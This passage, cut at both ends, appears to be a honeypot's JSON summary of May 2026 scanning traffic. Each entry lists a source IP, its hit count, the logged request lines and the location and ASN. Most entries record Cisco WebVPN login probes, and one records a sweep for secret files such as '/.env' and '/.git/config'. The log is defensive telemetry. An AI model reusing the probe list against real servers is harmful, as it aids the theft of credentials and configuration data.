      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "27.47.25.248": {
      "attack_count": 2,
      "first_seen": "2026-05-13T02:51:25.027Z",
      "last_seen": "2026-05-13T02:51:28.030Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network"
    },
    "45.153.163.69": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:32:59.537Z",
      "last_seen": "2026-05-03T10:33:00.293Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 2914,
      "as_org": "NTT America, Inc."
    },
    "82.211.8.25": {
      "attack_count": 2,
      "first_seen": "2026-05-03T08:45:03.952Z",
      "last_seen": "2026-05-03T08:45:04.724Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 44066,
      "as_org": "firstcolo GmbH"
    },
    "195.184.76.37": {
      "attack_count": 1,
      "first_seen": "2026-05-10T11:48:10.538Z",
      "last_seen": "2026-05-10T11:48:10.538Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "34.228.9.244": {
      "attack_count": 1,
      "first_seen": "2026-05-16T00:56:53.108Z",
      "last_seen": "2026-05-16T00:56:53.108Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.187": {
      "attack_count": 1,
      "first_seen": "2026-05-18T07:46:50.789Z",
      "last_seen": "2026-05-18T07:46:50.789Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.57": {
      "attack_count": 1,
      "first_seen": "2026-05-04T07:52:56.200Z",
      "last_seen": "2026-05-04T07:52:56.200Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.179": {
      "attack_count": 1,
      "first_seen": "2026-05-11T10:45:38.391Z",
      "last_seen": "2026-05-11T10:45:38.391Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.196": {
      "attack_count": 1,
      "first_seen": "2026-05-25T10:21:05.530Z",
      "last_seen": "2026-05-25T10:21:05.530Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.135": {
      "attack_count": 1,
      "first_seen": "2026-05-27T19:25:33.908Z",
      "last_seen": "2026-05-27T19:25:33.908Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "68.235.46.200": {
      "attack_count": 72,
      "first_seen": "2026-05-03T04:05:53.035Z",
      "last_seen": "2026-05-31T04:14:47.426Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.65.135.248": {
      "attack_count": 63,
      "first_seen": "2026-05-08T16:14:20.834Z",
      "last_seen": "2026-05-31T03:16:07.544Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "68.235.46.145": {
      "attack_count": 54,
      "first_seen": "2026-05-02T08:48:26.439Z",
      "last_seen": "2026-05-30T12:44:54.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.50": {
      "attack_count": 45,
      "first_seen": "2026-05-02T04:11:27.046Z",
      "last_seen": "2026-05-30T05:48:07.098Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "143.110.213.72": {
      "attack_count": 44,
      "first_seen": "2026-05-08T07:38:54.480Z",
      "last_seen": "2026-05-08T07:39:55.233Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.DS_Store HTTP/1.1\" 404 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
        "\"GET /@vite/env HTTP/1.1\" 404 -",
        "\"GET /___proxy_subdomain_cpanel HTTP/1.1\" 404 -",
        "\"GET /___proxy_subdomain_whm/login HTTP/1.1\" 404 -",
        "\"GET /about HTTP/1.1\" 404 -",
        "\"GET /actuator/env HTTP/1.1\" 404 -",
        "\"GET /api-docs/swagger.json HTTP/1.1\" 404 -",
        "\"GET /api/swagger.json HTTP/1.1\" 404 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /console/ HTTP/1.1\" 404 -",
        "\"GET /debug/default/view?panel=config HTTP/1.1\" 404 -",
        "\"GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1\" 404 -",
        "\"GET /info.php HTTP/1.1\" 404 -",
        "\"GET /login.action HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "178.130.47.222": {
      "attack_count": 40,
      "first_seen": "2026-05-31T00:54:07.443Z",
      "last_seen": "2026-05-31T05:19:21.632Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "45.134.142.226": {
      "attack_count": 36,
      "first_seen": "2026-05-04T10:06:26.571Z",
      "last_seen": "2026-05-26T14:51:52.196Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.149.80.61": {
      "attack_count": 35,
      "first_seen": "2026-05-26T01:22:57.977Z",
      "last_seen": "2026-05-30T00:16:01.140Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.108.24": {
      "attack_count": 33,
      "first_seen": "2026-05-05T21:10:05.736Z",
      "last_seen": "2026-05-28T01:39:51.004Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.35": {
      "attack_count": 30,
      "first_seen": "2026-05-09T07:41:38.045Z",
      "last_seen": "2026-05-29T14:13:53.156Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "176.53.133.104": {
      "attack_count": 28,
      "first_seen": "2026-05-26T00:48:48.084Z",
      "last_seen": "2026-05-31T03:08:23.568Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Highland",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "91.247.78.196": {
      "attack_count": 28,
      "first_seen": "2026-05-26T01:58:27.749Z",
      "last_seen": "2026-05-31T03:38:32.955Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Montclair",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.141.119.148": {
      "attack_count": 24,
      "first_seen": "2026-05-05T18:28:50.612Z",
      "last_seen": "2026-05-30T11:35:39.423Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.110.68": {
      "attack_count": 24,
      "first_seen": "2026-05-04T21:40:01.811Z",
      "last_seen": "2026-05-30T07:55:39.017Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.76": {
      "attack_count": 24,
      "first_seen": "2026-05-05T16:13:49.484Z",
      "last_seen": "2026-05-29T13:50:21.495Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.132": {
      "attack_count": 24,
      "first_seen": "2026-05-05T02:01:45.721Z",
      "last_seen": "2026-05-30T04:11:31.493Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.221.164": {
      "attack_count": 24,
      "first_seen": "2026-05-05T10:22:08.050Z",
      "last_seen": "2026-05-29T20:23:29.111Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "149.40.50.118": {
      "attack_count": 22,
      "first_seen": "2026-05-02T00:05:37.407Z",
      "last_seen": "2026-05-30T02:53:05.941Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.165.161": {
      "attack_count": 21,
      "first_seen": "2026-05-03T11:35:58.952Z",
      "last_seen": "2026-05-30T07:32:39.585Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "153.80.44.193": {
      "attack_count": 21,
      "first_seen": "2026-05-26T14:53:37.457Z",
      "last_seen": "2026-05-31T00:46:56.099Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New Vineyard",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.199.190": {
      "attack_count": 21,
      "first_seen": "2026-05-26T14:57:20.728Z",
      "last_seen": "2026-05-29T19:45:16.535Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "173.249.252.39": {
      "attack_count": 21,
      "first_seen": "2026-05-07T04:56:23.498Z",
      "last_seen": "2026-05-26T07:08:56.282Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "194.35.127.36": {
      "attack_count": 21,
      "first_seen": "2026-05-27T06:16:10.938Z",
      "last_seen": "2026-05-30T00:49:48.493Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.109.200": {
      "attack_count": 21,
      "first_seen": "2026-05-07T11:25:09.314Z",
      "last_seen": "2026-05-23T07:05:09.506Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.192.42.235": {
      "attack_count": 21,
      "first_seen": "2026-05-26T11:31:36.570Z",
      "last_seen": "2026-05-29T17:44:35.607Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.95.24": {
      "attack_count": 19,
      "first_seen": "2026-05-06T02:37:16.230Z",
      "last_seen": "2026-05-22T10:57:50.006Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.168.171": {
      "attack_count": 18,
      "first_seen": "2026-05-20T08:15:52.927Z",
      "last_seen": "2026-05-29T18:39:56.216Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.76.194": {
      "attack_count": 18,
      "first_seen": "2026-05-05T01:58:14.589Z",
      "last_seen": "2026-05-23T02:31:17.614Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.158": {
      "attack_count": 18,
      "first_seen": "2026-05-09T13:11:19.714Z",
      "last_seen": "2026-05-19T03:51:32.893Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.115.195": {
      "attack_count": 17,
      "first_seen": "2026-05-03T04:51:12.047Z",
      "last_seen": "2026-05-23T12:42:14.123Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.162.40.66": {
      "attack_count": 15,
      "first_seen": "2026-05-05T05:24:02.847Z",
      "last_seen": "2026-05-05T21:52:35.140Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.68.67": {
      "attack_count": 15,
      "first_seen": "2026-05-05T07:51:20.848Z",
      "last_seen": "2026-05-13T01:25:33.525Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.67": {
      "attack_count": 15,
      "first_seen": "2026-05-05T16:28:32.395Z",
      "last_seen": "2026-05-11T12:24:53.208Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.217.54": {
      "attack_count": 15,
      "first_seen": "2026-05-16T01:33:32.416Z",
      "last_seen": "2026-05-27T15:05:39.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "130.49.117.71": {
      "attack_count": 14,
      "first_seen": "2026-05-29T14:12:22.705Z",
      "last_seen": "2026-05-31T01:46:28.848Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Duvall",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.252.8.106": {
      "attack_count": 14,
      "first_seen": "2026-05-26T19:34:30.119Z",
      "last_seen": "2026-05-27T17:58:17.858Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "153.80.145.156": {
      "attack_count": 14,
      "first_seen": "2026-05-29T21:45:40.173Z",
      "last_seen": "2026-05-30T14:59:22.212Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Brattleboro",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "155.212.77.177": {
      "attack_count": 14,
      "first_seen": "2026-05-26T07:37:26.369Z",
      "last_seen": "2026-05-27T12:02:58.189Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seahurst",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.41.152": {
      "attack_count": 14,
      "first_seen": "2026-05-27T13:01:17.784Z",
      "last_seen": "2026-05-29T06:12:41.464Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.246.57.11": {
      "attack_count": 14,
      "first_seen": "2026-05-26T05:26:16.251Z",
      "last_seen": "2026-05-27T22:37:34.876Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Pecatonica",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.192.34.183": {
      "attack_count": 14,
      "first_seen": "2026-05-27T01:12:33.355Z",
      "last_seen": "2026-05-30T13:44:52.700Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
